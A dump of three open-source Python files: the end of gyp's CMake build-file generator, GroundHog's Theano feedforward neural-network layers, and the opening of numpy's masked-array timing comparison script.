output.write('\n#') output.write(qualified_target) output.write('\n') gyp_file, _, _ = gyp.common.ParseQualifiedTarget(qualified_target) rel_gyp_file = gyp.common.RelativePath(gyp_file, options.toplevel_dir) rel_gyp_dir = os.path.dirname(rel_gyp_file) # Relative path from build dir to top dir. build_to_top = gyp.common.InvertRelativePath(build_dir, options.toplevel_dir) # Relative path from build dir to gyp dir. build_to_gyp = os.path.join(build_to_top, rel_gyp_dir) path_from_cmakelists_to_gyp = build_to_gyp spec = target_dicts.get(qualified_target, {}) config = spec.get('configurations', {}).get(config_to_use, {}) target_name = spec.get('target_name', '<missing target name>') target_type = spec.get('type', '<missing target type>') target_toolset = spec.get('toolset') cmake_target_type = cmake_target_type_from_gyp_target_type.get(target_type) if cmake_target_type is None: print ('Target %s has unknown target type %s, skipping.' % ( target_name, target_type ) ) return SetVariable(output, 'TARGET', target_name) SetVariable(output, 'TOOLSET', target_toolset) cmake_target_name = namer.CreateCMakeTargetName(qualified_target) extra_sources = [] extra_deps = [] # Actions must come first, since they can generate more OBJs for use below. if 'actions' in spec: WriteActions(cmake_target_name, spec['actions'], extra_sources, extra_deps, path_from_cmakelists_to_gyp, output) # Rules must be early like actions. if 'rules' in spec: WriteRules(cmake_target_name, spec['rules'], extra_sources, extra_deps, path_from_cmakelists_to_gyp, output) # Copies if 'copies' in spec: WriteCopies(cmake_target_name, spec['copies'], extra_deps, path_from_cmakelists_to_gyp, output) # Target and sources srcs = spec.get('sources', []) # Gyp separates the sheep from the goats based on file extensions. # A full separation is done here because of flag handing (see below). s_sources = [] c_sources = [] cxx_sources = [] linkable_sources = [] other_sources = [] for src in srcs: _, ext = os.path.splitext(src) src_type = COMPILABLE_EXTENSIONS.get(ext, None) src_norm_path = NormjoinPath(path_from_cmakelists_to_gyp, src); if src_type == 's': s_sources.append(src_norm_path) elif src_type == 'cc': c_sources.append(src_norm_path) elif src_type == 'cxx': cxx_sources.append(src_norm_path) elif Linkable(ext): linkable_sources.append(src_norm_path) else: other_sources.append(src_norm_path) for extra_source in extra_sources: src, real_source = extra_source _, ext = os.path.splitext(real_source) src_type = COMPILABLE_EXTENSIONS.get(ext, None) if src_type == 's': s_sources.append(src) elif src_type == 'cc': c_sources.append(src) elif src_type == 'cxx': cxx_sources.append(src) elif Linkable(ext): linkable_sources.append(src) else: other_sources.append(src) s_sources_name = None if s_sources: s_sources_name = cmake_target_name + '__asm_srcs' SetVariableList(output, s_sources_name, s_sources) c_sources_name = None if c_sources: c_sources_name = cmake_target_name + '__c_srcs' SetVariableList(output, c_sources_name, c_sources) cxx_sources_name = None if cxx_sources: cxx_sources_name = cmake_target_name + '__cxx_srcs' SetVariableList(output, cxx_sources_name, cxx_sources) linkable_sources_name = None if linkable_sources: linkable_sources_name = cmake_target_name + '__linkable_srcs' SetVariableList(output, linkable_sources_name, linkable_sources) other_sources_name = None if other_sources: other_sources_name = cmake_target_name + '__other_srcs' SetVariableList(output, other_sources_name, other_sources) # CMake gets upset when executable targets provide no sources. # http://www.cmake.org/pipermail/cmake/2010-July/038461.html dummy_sources_name = None has_sources = (s_sources_name or c_sources_name or cxx_sources_name or linkable_sources_name or other_sources_name) if target_type == 'executable' and not has_sources: dummy_sources_name = cmake_target_name + '__dummy_srcs' SetVariable(output, dummy_sources_name, "${obj}.${TOOLSET}/${TARGET}/genc/dummy.c") output.write('if(NOT EXISTS "') WriteVariable(output, dummy_sources_name) output.write('")\n') output.write(' file(WRITE "') WriteVariable(output, dummy_sources_name) output.write('" "")\n') output.write("endif()\n") # CMake is opposed to setting linker directories and considers the practice # of setting linker directories dangerous. Instead, it favors the use of # find_library and passing absolute paths to target_link_libraries. # However, CMake does provide the command link_directories, which adds # link directories to targets defined after it is called. # As a result, link_directories must come before the target definition. # CMake unfortunately has no means of removing entries from LINK_DIRECTORIES. library_dirs = config.get('library_dirs') if library_dirs is not None: output.write('link_directories(') for library_dir in library_dirs: output.write(' ') output.write(NormjoinPath(path_from_cmakelists_to_gyp, library_dir)) output.write('\n') output.write(')\n') output.write(cmake_target_type.command) output.write('(') output.write(cmake_target_name) if cmake_target_type.modifier is not None: output.write(' ') output.write(cmake_target_type.modifier) if s_sources_name: WriteVariable(output, s_sources_name, ' ') if c_sources_name: WriteVariable(output, c_sources_name, ' ') if cxx_sources_name: WriteVariable(output, cxx_sources_name, ' ') if linkable_sources_name: WriteVariable(output, linkable_sources_name, ' ') if other_sources_name: WriteVariable(output, other_sources_name, ' ') if dummy_sources_name: WriteVariable(output, dummy_sources_name, ' ') output.write(')\n') # Let CMake know if the 'all' target should depend on this target. exclude_from_all = ('TRUE' if qualified_target not in all_qualified_targets else 'FALSE') SetTargetProperty(output, cmake_target_name, 'EXCLUDE_FROM_ALL', exclude_from_all) for extra_target_name in extra_deps: SetTargetProperty(output, extra_target_name, 'EXCLUDE_FROM_ALL', exclude_from_all) # Output name and location. if target_type != 'none': # Link as 'C' if there are no other files if not c_sources and not cxx_sources: SetTargetProperty(output, cmake_target_name, 'LINKER_LANGUAGE', ['C']) # Mark uncompiled sources as uncompiled. if other_sources_name: output.write('set_source_files_properties(') WriteVariable(output, other_sources_name, '') output.write(' PROPERTIES HEADER_FILE_ONLY "TRUE")\n') # Mark object sources as linkable. if linkable_sources_name: output.write('set_source_files_properties(') WriteVariable(output, other_sources_name, '') output.write(' PROPERTIES EXTERNAL_OBJECT "TRUE")\n') # Output directory target_output_directory = spec.get('product_dir') if target_output_directory is None: if target_type in ('executable', 'loadable_module'): target_output_directory = generator_default_variables['PRODUCT_DIR'] elif target_type == 'shared_library': target_output_directory = '${builddir}/lib.${TOOLSET}' elif spec.get('standalone_static_library', False): target_output_directory = generator_default_variables['PRODUCT_DIR'] else: base_path = gyp.common.RelativePath(os.path.dirname(gyp_file), options.toplevel_dir) target_output_directory = '${obj}.${TOOLSET}' target_output_directory = ( os.path.join(target_output_directory, base_path)) cmake_target_output_directory = NormjoinPathForceCMakeSource( path_from_cmakelists_to_gyp, target_output_directory) SetTargetProperty(output, cmake_target_name, cmake_target_type.property_modifier + '_OUTPUT_DIRECTORY', cmake_target_output_directory) # Output name default_product_prefix = '' default_product_name = target_name default_product_ext = '' if target_type == 'static_library': static_library_prefix = generator_default_variables['STATIC_LIB_PREFIX'] default_product_name = RemovePrefix(default_product_name, static_library_prefix) default_product_prefix = static_library_prefix default_product_ext = generator_default_variables['STATIC_LIB_SUFFIX'] elif target_type in ('loadable_module', 'shared_library'): shared_library_prefix = generator_default_variables['SHARED_LIB_PREFIX'] default_product_name = RemovePrefix(default_product_name, shared_library_prefix) default_product_prefix = shared_library_prefix default_product_ext = generator_default_variables['SHARED_LIB_SUFFIX'] elif target_type != 'executable': print ('ERROR: What output file should be generated?', 'type', target_type, 'target', target_name) product_prefix = spec.get('product_prefix', default_product_prefix) product_name = spec.get('product_name', default_product_name) product_ext = spec.get('product_extension') if product_ext: product_ext = '.' + product_ext else: product_ext = default_product_ext SetTargetProperty(output, cmake_target_name, 'PREFIX', product_prefix) SetTargetProperty(output, cmake_target_name, cmake_target_type.property_modifier + '_OUTPUT_NAME', product_name) SetTargetProperty(output, cmake_target_name, 'SUFFIX', product_ext) # Make the output of this target referenceable as a source. cmake_target_output_basename = product_prefix + product_name + product_ext cmake_target_output = os.path.join(cmake_target_output_directory, cmake_target_output_basename) SetFileProperty(output, cmake_target_output, 'GENERATED', ['TRUE'], '') # Includes includes = config.get('include_dirs') if includes: # This (target include directories) is what requires CMake 2.8.8 includes_name = cmake_target_name + '__include_dirs' SetVariableList(output, includes_name, [NormjoinPathForceCMakeSource(path_from_cmakelists_to_gyp, include) for include in includes]) output.write('set_property(TARGET ') output.write(cmake_target_name) output.write(' APPEND PROPERTY INCLUDE_DIRECTORIES ') WriteVariable(output, includes_name, '') output.write(')\n') # Defines defines = config.get('defines') if defines is not None: SetTargetProperty(output, cmake_target_name, 'COMPILE_DEFINITIONS', defines, ';') # Compile Flags - http://www.cmake.org/Bug/view.php?id=6493 # CMake currently does not have target C and CXX flags. # So, instead of doing... # cflags_c = config.get('cflags_c') # if cflags_c is not None: # SetTargetProperty(output, cmake_target_name, # 'C_COMPILE_FLAGS', cflags_c, ' ') # cflags_cc = config.get('cflags_cc') # if cflags_cc is not None: # SetTargetProperty(output, cmake_target_name, # 'CXX_COMPILE_FLAGS', cflags_cc, ' ') # Instead we must... cflags = config.get('cflags', []) cflags_c = config.get('cflags_c', []) cflags_cxx = config.get('cflags_cc', []) if (not cflags_c or not c_sources) and (not cflags_cxx or not cxx_sources): SetTargetProperty(output, cmake_target_name, 'COMPILE_FLAGS', cflags, ' ') elif c_sources and not (s_sources or cxx_sources): flags = [] flags.extend(cflags) flags.extend(cflags_c) SetTargetProperty(output, cmake_target_name, 'COMPILE_FLAGS', flags, ' ') elif cxx_sources and not (s_sources or c_sources): flags = [] flags.extend(cflags) flags.extend(cflags_cxx) SetTargetProperty(output, cmake_target_name, 'COMPILE_FLAGS', flags, ' ') else: # TODO: This is broken, one cannot generally set properties on files, # as other targets may require different properties on the same files. if s_sources and cflags: SetFilesProperty(output, s_sources_name, 'COMPILE_FLAGS', cflags, ' ') if c_sources and (cflags or cflags_c): flags = [] flags.extend(cflags) flags.extend(cflags_c) SetFilesProperty(output, c_sources_name, 'COMPILE_FLAGS', flags, ' ') if cxx_sources and (cflags or cflags_cxx): flags = [] flags.extend(cflags) flags.extend(cflags_cxx) SetFilesProperty(output, cxx_sources_name, 'COMPILE_FLAGS', flags, ' ') # Linker flags ldflags = config.get('ldflags') if ldflags is not None: SetTargetProperty(output, cmake_target_name, 'LINK_FLAGS', ldflags, ' ') # Note on Dependencies and Libraries: # CMake wants to handle link order, resolving the link line up front. # Gyp does not retain or enforce specifying enough information to do so. # So do as other gyp generators and use --start-group and --end-group. # Give CMake as little information as possible so that it doesn't mess it up. # Dependencies rawDeps = spec.get('dependencies', []) static_deps = [] shared_deps = [] other_deps = [] for rawDep in rawDeps: dep_cmake_name = namer.CreateCMakeTargetName(rawDep) dep_spec = target_dicts.get(rawDep, {}) dep_target_type = dep_spec.get('type', None) if dep_target_type == 'static_library': static_deps.append(dep_cmake_name) elif dep_target_type == 'shared_library': shared_deps.append(dep_cmake_name) else: other_deps.append(dep_cmake_name) # ensure all external dependencies are complete before internal dependencies # extra_deps currently only depend on their own deps, so otherwise run early if static_deps or shared_deps or other_deps: for extra_dep in extra_deps: output.write('add_dependencies(') output.write(extra_dep) output.write('\n') for deps in (static_deps, shared_deps, other_deps): for dep in gyp.common.uniquer(deps): output.write(' ') output.write(dep) output.write('\n') output.write(')\n') linkable = target_type in ('executable', 'loadable_module', 'shared_library') other_deps.extend(extra_deps) if other_deps or (not linkable and (static_deps or shared_deps)): output.write('add_dependencies(') output.write(cmake_target_name) output.write('\n') for dep in gyp.common.uniquer(other_deps): output.write(' ') output.write(dep) output.write('\n') if not linkable: for deps in (static_deps, shared_deps): for lib_dep in gyp.common.uniquer(deps): output.write(' ') output.write(lib_dep) output.write('\n') output.write(')\n') # Libraries if linkable: external_libs = [lib for lib in spec.get('libraries', []) if len(lib) > 0] if external_libs or static_deps or shared_deps: output.write('target_link_libraries(') output.write(cmake_target_name) output.write('\n') if static_deps: write_group = circular_libs and len(static_deps) > 1 if write_group: output.write('-Wl,--start-group\n') for dep in gyp.common.uniquer(static_deps): output.write(' ') output.write(dep) output.write('\n') if write_group: output.write('-Wl,--end-group\n') if shared_deps: for dep in gyp.common.uniquer(shared_deps): output.write(' ') output.write(dep) output.write('\n') if external_libs: for lib in gyp.common.uniquer(external_libs): output.write(' ') output.write(lib) output.write('\n') output.write(')\n') UnsetVariable(output, 'TOOLSET') UnsetVariable(output, 'TARGET') def GenerateOutputForConfig(target_list, target_dicts, data, params, config_to_use): options = params['options'] generator_flags = params['generator_flags'] # generator_dir: relative path from pwd to where make puts build files. # Makes migrating from make to cmake easier, cmake doesn't put anything here. # Each Gyp configuration creates a different CMakeLists.txt file # to avoid incompatibilities between Gyp and CMake configurations. generator_dir = os.path.relpath(options.generator_output or '.') # output_dir: relative path from generator_dir to the build directory. output_dir = generator_flags.get('output_dir', 'out') # build_dir: relative path from source root to our output files. # e.g. "out/Debug" build_dir = os.path.normpath(os.path.join(generator_dir, output_dir, config_to_use)) toplevel_build = os.path.join(options.toplevel_dir, build_dir) output_file = os.path.join(toplevel_build, 'CMakeLists.txt') gyp.common.EnsureDirExists(output_file) output = open(output_file, 'w') output.write('cmake_minimum_required(VERSION 2.8.8 FATAL_ERROR)\n') output.write('cmake_policy(VERSION 2.8.8)\n') gyp_file, project_target, _ = gyp.common.ParseQualifiedTarget(target_list[-1]) output.write('project(') output.write(project_target) output.write(')\n') SetVariable(output, 'configuration', config_to_use) ar = None cc = None cxx = None make_global_settings = data[gyp_file].get('make_global_settings', []) build_to_top = gyp.common.InvertRelativePath(build_dir, options.toplevel_dir) for key, value in make_global_settings: if key == 'AR': ar = os.path.join(build_to_top, value) if key == 'CC': cc = os.path.join(build_to_top, value) if key == 'CXX': cxx = os.path.join(build_to_top, value) ar = gyp.common.GetEnvironFallback(['AR_target', 'AR'], ar) cc = gyp.common.GetEnvironFallback(['CC_target', 'CC'], cc) cxx = gyp.common.GetEnvironFallback(['CXX_target', 'CXX'], cxx) if ar: SetVariable(output, 'CMAKE_AR', ar) if cc: SetVariable(output, 'CMAKE_C_COMPILER', cc) if cxx: SetVariable(output, 'CMAKE_CXX_COMPILER', cxx) # The following appears to be as-yet undocumented. # http://public.kitware.com/Bug/view.php?id=8392 output.write('enable_language(ASM)\n') # ASM-ATT does not support .S files. # output.write('enable_language(ASM-ATT)\n') if cc: SetVariable(output, 'CMAKE_ASM_COMPILER', cc) SetVariable(output, 'builddir', '${CMAKE_BINARY_DIR}') SetVariable(output, 'obj', '${builddir}/obj') output.write('\n') # TODO: Undocumented/unsupported (the CMake Java generator depends on it). # CMake by default names the object resulting from foo.c to be foo.c.o. # Gyp traditionally names the object resulting from foo.c foo.o. # This should be irrelevant, but some targets extract .o files from .a # and depend on the name of the extracted .o files. output.write('set(CMAKE_C_OUTPUT_EXTENSION_REPLACE 1)\n') output.write('set(CMAKE_CXX_OUTPUT_EXTENSION_REPLACE 1)\n') output.write('\n') # Force ninja to use rsp files. Otherwise link and ar lines can get too long, # resulting in 'Argument list too long' errors. output.write('set(CMAKE_NINJA_FORCE_RESPONSE_FILE 1)\n') output.write('\n') namer = CMakeNamer(target_list) # The list of targets upon which the 'all' target should depend. # CMake has it's own implicit 'all' target, one is not created explicitly. all_qualified_targets = set() for build_file in params['build_files']: for qualified_target in gyp.common.AllTargets(target_list, target_dicts, os.path.normpath(build_file)): all_qualified_targets.add(qualified_target) for qualified_target in target_list: WriteTarget(namer, qualified_target, target_dicts, build_dir, config_to_use, options, generator_flags, all_qualified_targets, output) output.close() def PerformBuild(data, configurations, params): options = params['options'] generator_flags = params['generator_flags'] # generator_dir: relative path from pwd to where make puts build files. # Makes migrating from make to cmake easier, cmake doesn't put anything here. generator_dir = os.path.relpath(options.generator_output or '.') # output_dir: relative path from generator_dir to the build directory. output_dir = generator_flags.get('output_dir', 'out') for config_name in configurations: # build_dir: relative path from source root to our output files. # e.g. "out/Debug" build_dir = os.path.normpath(os.path.join(generator_dir, output_dir, config_name)) arguments = ['cmake', '-G', 'Ninja'] print 'Generating [%s]: %s' % (config_name, arguments) subprocess.check_call(arguments, cwd=build_dir) arguments = ['ninja', '-C', build_dir] print 'Building [%s]: %s' % (config_name, arguments) subprocess.check_call(arguments) def CallGenerateOutputForConfig(arglist): # Ignore the interrupt signal so that the parent process catches it and # kills all multiprocessing children. signal.signal(signal.SIGINT, signal.SIG_IGN) target_list, target_dicts, data, params, config_name = arglist GenerateOutputForConfig(target_list, target_dicts, data, params, config_name) def GenerateOutput(target_list, target_dicts, data, params): user_config = params.get('generator_flags', {}).get('config', None) if user_config: GenerateOutputForConfig(target_list, target_dicts, data, params, user_config) else: config_names = target_dicts[target_list[0]]['configurations'].keys() if params['parallel']: try: pool = multiprocessing.Pool(len(config_names)) arglists = [] for config_name in config_names: arglists.append((target_list, target_dicts, data, params, config_name)) pool.map(CallGenerateOutputForConfig, arglists) except KeyboardInterrupt, e: pool.terminate() raise e else: for config_name in config_names: GenerateOutputForConfig(target_list, target_dicts, data, params, config_name)
mit
ronuchit/GroundHog
groundhog/layers/ff_layers.py
16
18887
""" Feedforward layers. TODO: write more documentation """ __docformat__ = 'restructedtext en' __authors__ = ("Razvan Pascanu " "KyungHyun Cho " "Caglar Gulcehre ") __contact__ = "Razvan Pascanu <r.pascanu@gmail>" import numpy import copy import theano import theano.tensor as TT from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams from groundhog import utils from groundhog.utils import sample_weights, \ sample_weights_classic,\ init_bias, \ constant_shape, \ sample_zeros from basic import Layer class MultiLayer(Layer): """ Implementing a standard feed forward MLP """ def __init__(self, rng, n_in, n_hids=[500,500], activation='TT.tanh', scale=0.01, sparsity=-1, rank_n_approx=0, rank_n_activ='lambda x: x', weight_noise=False, dropout = 1., init_fn='sample_weights_classic', bias_fn='init_bias', bias_scale = 0., learn_bias = True, grad_scale = 1., name=None): """ :type rng: numpy random generator :param rng: numpy random generator :type n_in: int :param n_in: number of inputs units :type n_hids: list of ints :param n_hids: Number of hidden units on each layer of the MLP :type activation: string/function or list of :param activation: Activation function for the embedding layers. If a list it needs to have a value for each layer. If not, the same activation will be applied to all layers :type scale: float or list of :param scale: depending on the initialization function, it can be the standard deviation of the Gaussian from which the weights are sampled or the largest singular value. If a single value it will be used for each layer, otherwise it has to have one value for each layer :type sparsity: int or list of :param sparsity: if a single value, it will be used for each layer, otherwise it has to be a list with as many values as layers. If negative, it means the weight matrix is dense. Otherwise it means this many randomly selected input units are connected to an output unit :type rank_n_approx: int :param rank_n_approx: It applies to the first layer only. If positive and larger than 0, the first weight matrix is factorized into two matrices. The first one goes from input to `rank_n_approx` hidden units, the second from `rank_n_approx` to the number of units on the second layer :type rank_n_activ: string or function :param rank_n_activ: Function that is applied on on the intermediary layer formed from factorizing the first weight matrix (Q: do we need this?) :type weight_noise: bool :param weight_noise: If true, the model is used with weight noise (and the right shared variable are constructed, to keep track of the noise) :type dropout: float :param dropout: the probability with which hidden units are dropped from the hidden layer. If set to 1, dropout is not used :type init_fn: string or function :param init_fn: function used to initialize the weights of the layer. We recommend using either `sample_weights_classic` or `sample_weights` defined in the utils :type bias_fn: string or function :param bias_fn: function used to initialize the biases. We recommend using `init_bias` defined in the utils :type bias_scale: float :param bias_scale: argument passed to `bias_fn`, depicting the scale of the initial bias :type learn_bias: bool :param learn_bias: flag, saying if we should learn the bias or keep it constant :type grad_scale: float or theano scalar :param grad_scale: factor with which the gradients with respect to the parameters of this layer are scaled. It is used for differentiating between the different parameters of a model. :type name: string :param name: name of the layer (used to name parameters). NB: in this library names are very important because certain parts of the code relies on name to disambiguate between variables, therefore each layer should have a unique name. """ assert rank_n_approx >= 0, "Please enter a valid rank_n_approx" self.rank_n_approx = rank_n_approx if isinstance(rank_n_activ, (str, unicode)): rank_n_activ = eval(rank_n_activ) self.rank_n_activ = rank_n_activ if type(n_hids) not in (list, tuple): n_hids = [n_hids] n_layers = len(n_hids) self.n_layers = n_layers if type(scale) not in (list, tuple): scale = [scale] * n_layers if type(sparsity) not in (list, tuple): sparsity = [sparsity] * n_layers for idx, sp in enumerate(sparsity): if sp < 0: sparsity[idx] = n_hids[idx] if type(activation) not in (list, tuple): activation = [activation] * n_layers if type(bias_scale) not in (list, tuple): bias_scale = [bias_scale] * n_layers if bias_fn not in (list, tuple): bias_fn = [bias_fn] * n_layers if init_fn not in (list, tuple): init_fn = [init_fn] * n_layers for dx in xrange(n_layers): if isinstance(bias_fn[dx], (str, unicode)): bias_fn[dx] = eval(bias_fn[dx]) if isinstance(init_fn[dx], (str, unicode)): init_fn[dx] = eval(init_fn[dx]) if isinstance(activation[dx], (str, unicode)): activation[dx] = eval(activation[dx]) super(MultiLayer, self).__init__(n_in, n_hids[-1], rng, name) self.trng = RandomStreams(self.rng.randint(int(1e6))) self.activation = activation self.scale = scale self.sparsity = sparsity self.bias_scale = bias_scale self.bias_fn = bias_fn self.init_fn = init_fn self._grad_scale = grad_scale self.weight_noise = weight_noise self.dropout = dropout self.n_hids = n_hids self.learn_bias = learn_bias self._init_params() def _init_params(self): """ Initialize the parameters of the layer, either by using sparse initialization or small isotropic noise. """ self.W_ems = [] self.b_ems = [] if self.rank_n_approx: W_em1 = self.init_fn[0](self.n_in, self.rank_n_approx, self.sparsity[0], self.scale[0], self.rng) W_em2 = self.init_fn[0](self.rank_n_approx, self.n_hids[0], self.sparsity[0], self.scale[0], self.rng) self.W_em1 = theano.shared(W_em1, name='W1_0_%s'%self.name) self.W_em2 = theano.shared(W_em2, name='W2_0_%s'%self.name) self.W_ems = [self.W_em1, self.W_em2] else: W_em = self.init_fn[0](self.n_in, self.n_hids[0], self.sparsity[0], self.scale[0], self.rng) self.W_em = theano.shared(W_em, name='W_0_%s'%self.name) self.W_ems = [self.W_em] self.b_em = theano.shared( self.bias_fn[0](self.n_hids[0], self.bias_scale[0],self.rng), name='b_0_%s'%self.name) self.b_ems = [self.b_em] for dx in xrange(1, self.n_layers): W_em = self.init_fn[dx](self.n_hids[dx-1] / self.pieces[dx], self.n_hids[dx], self.sparsity[dx], self.scale[dx], self.rng) W_em = theano.shared(W_em, name='W_%d_%s'%(dx,self.name)) self.W_ems += [W_em] b_em = theano.shared( self.bias_fn[dx](self.n_hids[dx], self.bias_scale[dx],self.rng), name='b_%d_%s'%(dx,self.name)) self.b_ems += [b_em] self.params = [x for x in self.W_ems] if self.learn_bias and self.learn_bias!='last': self.params = [x for x in self.W_ems] + [x for x in self.b_ems] elif self.learn_bias == 'last': self.params = [x for x in self.W_ems] + [x for x in self.b_ems][:-1] self.params_grad_scale = [self._grad_scale for x in self.params] if self.weight_noise: self.nW_ems = [theano.shared(x.get_value()*0, name='noise_'+x.name) for x in self.W_ems] self.nb_ems = [theano.shared(x.get_value()*0, name='noise_'+x.name) for x in self.b_ems] self.noise_params = [x for x in self.nW_ems] + [x for x in self.nb_ems] self.noise_params_shape_fn = [constant_shape(x.get_value().shape) for x in self.noise_params] def fprop(self, state_below, use_noise=True, no_noise_bias=False, first_only = False): """ Constructs the computational graph of this layer. If the input is ints, we assume is an index, otherwise we assume is a set of floats. """ if self.weight_noise and use_noise and self.noise_params: W_ems = [(x+y) for x, y in zip(self.W_ems, self.nW_ems)] if not no_noise_bias: b_ems = [(x+y) for x, y in zip(self.b_ems, self.nb_ems)] else: b_ems = self.b_ems else: W_ems = self.W_ems b_ems = self.b_ems if self.rank_n_approx: if first_only: emb_val = self.rank_n_activ(utils.dot(state_below, W_ems[0])) self.out = emb_val return emb_val emb_val = TT.dot( self.rank_n_activ(utils.dot(state_below, W_ems[0])), W_ems[1]) if b_ems: emb_val += b_ems[0] st_pos = 1 else: emb_val = utils.dot(state_below, W_ems[0]) if b_ems: emb_val += b_ems[0] st_pos = 0 emb_val = self.activation[0](emb_val) if self.dropout < 1.: if use_noise: emb_val = emb_val * self.trng.binomial(emb_val.shape, n=1, p=self.dropout, dtype=emb_val.dtype) else: emb_val = emb_val * self.dropout for dx in xrange(1, self.n_layers): emb_val = utils.dot(emb_val, W_ems[st_pos+dx]) if b_ems: emb_val = self.activation[dx](emb_val+ b_ems[dx]) else: emb_val = self.activation[dx](emb_val) if self.dropout < 1.: if use_noise: emb_val = emb_val * self.trng.binomial(emb_val.shape, n=1, p=self.dropout, dtype=emb_val.dtype) else: emb_val = emb_val * self.dropout self.out = emb_val return emb_val class LastState(Layer): """ This layer is used to construct the embedding of the encoder by taking the last state of the recurrent model """ def __init__(self, ntimes = False, n = TT.constant(0)): """ :type ntimes: bool :param ntimes: If the last state needs to be repeated `n` times :type n: int, theano constant, None :param n: how many times the last state is repeated """ self.ntimes = ntimes self.n = n super(LastState, self).__init__(0, 0, None) def fprop(self, all_states): if self.ntimes: stateshape0 = all_states.shape[0] shape0 = TT.switch(TT.gt(self.n, 0), self.n, all_states.shape[0]) single_frame = TT.shape_padleft(all_states[stateshape0-1]) mask = TT.alloc(numpy.float32(1), shape0, *[1 for k in xrange(all_states.ndim-1)]) rval = single_frame * mask self.out = rval return rval single_frame = all_states[all_states.shape[0]-1] self.out = single_frame return single_frame last = LastState() last_ntimes = LastState(ntimes=True) class GaussianNoise(Layer): """ This layer is used to construct the embedding of the encoder by taking the last state of the recurrent model """ def __init__(self, rng, std = 0.1, ndim=0, avg =0, shape_fn=None): """ """ assert rng is not None, "random number generator should not be empty!" super(GaussianNoise, self).__init__(0, 0, rng) self.std = scale self.avg = self.avg self.ndim = ndim self.shape_fn = shape_fn if self.shape_fn: # Name is not important as it is not a parameter of the model self.noise_term = theano.shared(numpy.zeros((2,)*ndim, dtype=theano.config.floatX), name='ndata') self.noise_params += [self.noise_term] self.noise_params_shape_fn += [shape_fn] self.trng = RandomStreams(rng.randint(1e5)) def fprop(self, x): self.out = x if self.scale: if self.shape_fn: self.out += self.noise_term else: self.out += self.trng.normal(self.out.shape, std=self.std, avg = self.avg, dtype=self.out.dtype) return self.out class BinaryOp(Layer): """ This layer is used to construct the embedding of the encoder by taking the last state of the recurrent model """ def __init__(self, op = 'lambda x,y: x+y', name=None): if type(op) is str: op = eval(op) self.op = op super(BinaryOp, self).__init__(0, 0, None, name) def fprop(self, x, y): self.out = self.op(x, y) return self.out class DropOp(Layer): """ This layers randomly drops elements of the input by multiplying with a mask sampled from a binomial distribution """ def __init__(self, rng = None, name=None, dropout=1.): super(DropOp, self).__init__(0, 0, None, name) self.dropout = dropout if dropout < 1.: self.trng = RandomStreams(rng.randint(1e5)) def fprop(self, state_below, use_noise = True): self.out = state_below if self.dropout < 1.: if use_noise: self.out = self.out * self.trng.binomial(self.out.shape, n=1, p=self.dropout, dtype=self.out.dtype) else: self.out = self.out * self.dropout return self.out class UnaryOp(Layer): """ This layer is used to construct an embedding of the encoder by doing a max pooling over the hidden state """ def __init__(self, activation = 'lambda x: x', name=None): if type(activation) is str: activation = eval(activation) self.activation = activation super(UnaryOp, self).__init__(0, 0, None, name) def fprop(self, state_below): self.out = self.activation(state_below) return self.out tanh = UnaryOp('lambda x: TT.tanh(x)') sigmoid = UnaryOp('lambda x: TT.nnet.sigmoid(x)') rectifier = UnaryOp('lambda x: x*(x>0)') hard_sigmoid = UnaryOp('lambda x: x*(x>0)*(x<1)') hard_tanh = UnaryOp('lambda x: x*(x>-1)*(x<1)') class Shift(Layer): """ This layer is used to construct the embedding of the encoder by taking the last state of the recurrent model """ def __init__(self, n=1, name=None): self.n = n super(Shift, self).__init__(0, 0, None, name) def fprop(self, var): rval = TT.zeros_like(var) if self.n >0: rval = TT.set_subtensor(rval[self.n:], var[:-self.n]) elif self.n<0: rval = TT.set_subtensor(rval[:self.n], var[-self.n:]) self.out = rval return rval class MinPooling(Layer): """ This layer is used to construct an embedding of the encoder by doing a max pooling over the hidden state """ def __init__(self, ntimes=False, name=None): self.ntimes = ntimes super(MinPooling, self).__init__(0, 0, None, name) def fprop(self, all_states): shape0 = all_states.shape[0] single_frame = all_states.min(0) if self.ntimes: single_frame = TT.shape_padleft(all_states.max(0)) mask = TT.alloc(numpy.float32(1), shape0, *[1 for k in xrange(all_states.ndim-1)]) rval = single_frame * mask self.out = rval return rval self.out = single_frame return single_frame minpool = MinPooling() minpool_ntimes = MinPooling(ntimes=True) class MaxPooling(Layer): """ This layer is used to construct an embedding of the encoder by doing a max pooling over the hidden state """ def __init__(self, ntimes=False, name=None): self.ntimes = ntimes super(MaxPooling, self).__init__(0, 0, None, name) def fprop(self, all_states): shape0 = all_states.shape[0] single_frame = all_states.max(0) if self.ntimes: single_frame = TT.shape_padleft(all_states.max(0)) mask = TT.alloc(numpy.float32(1), shape0, *[1 for k in xrange(all_states.ndim-1)]) rval = single_frame * mask self.out = rval return rval self.out = single_frame return single_frame maxpool = MaxPooling() maxpool_ntimes = MaxPooling(ntimes=True) class Concatenate(Layer): def __init__(self, axis): self.axis = axis Layer.__init__(self, 0, 0, None) def fprop(self, *args): self.out = TT.concatenate(args, axis=self.axis) return self.out
bsd-3-clause
megies/numpy
numpy/ma/timer_comparison.py
76
17500
from __future__ import division, absolute_import, print_function import timeit from functools import reduce import numpy as np from numpy import float_ import np.core.fromnumeric as fromnumeric from np.testing.utils import build_err_msg # Fixme: this does not look right. np.seterr(all='ignore') pi = np.pi class moduletester(object): def __init__(self, module): self.module = module self.allequal = module.allequal self.arange = module.arange self.array = module.array # self.average = module.average self.concatenate = module.concatenate self.count = module.count self.equal = module.equal self.filled = module.filled self.getmask = module.getmask self.getmaskarray = module.getmaskarray self.id = id self.inner = module.inner self.make_mask = module.make_mask self.masked = module.masked self.masked_array = module.masked_array self.masked_values = module.masked_values self.mask_or = module.mask_or self.nomask = module.nomask self.ones = module.ones self.outer = module.outer self.repeat = module.repeat self.resize = module.resize self.sort = module.sort self.take = module.take self.transpose = module.transpose self.zeros = module.zeros self.MaskType = module.MaskType try: self.umath = module.umath except AttributeError: self.umath = module.core.umath self.testnames = [] def assert_array_compare(self, comparison, x, y, err_msg='', header='', fill_value=True): """Asserts that a comparison relation between two masked arrays is satisfied elementwise.""" xf = self.filled(x) yf = self.filled(y) m = self.mask_or(self.getmask(x), self.getmask(y)) x = self.filled(self.masked_array(xf, mask=m), fill_value) y = self.filled(self.masked_array(yf, mask=m), fill_value) if (x.dtype.char != "O"): x = x.astype(float_) if isinstance(x, np.ndarray) and x.size > 1: x[np.isnan(x)] = 0 elif np.isnan(x): x = 0 if (y.dtype.char != "O"): y = y.astype(float_) if isinstance(y, np.ndarray) and y.size > 1: y[np.isnan(y)] = 0 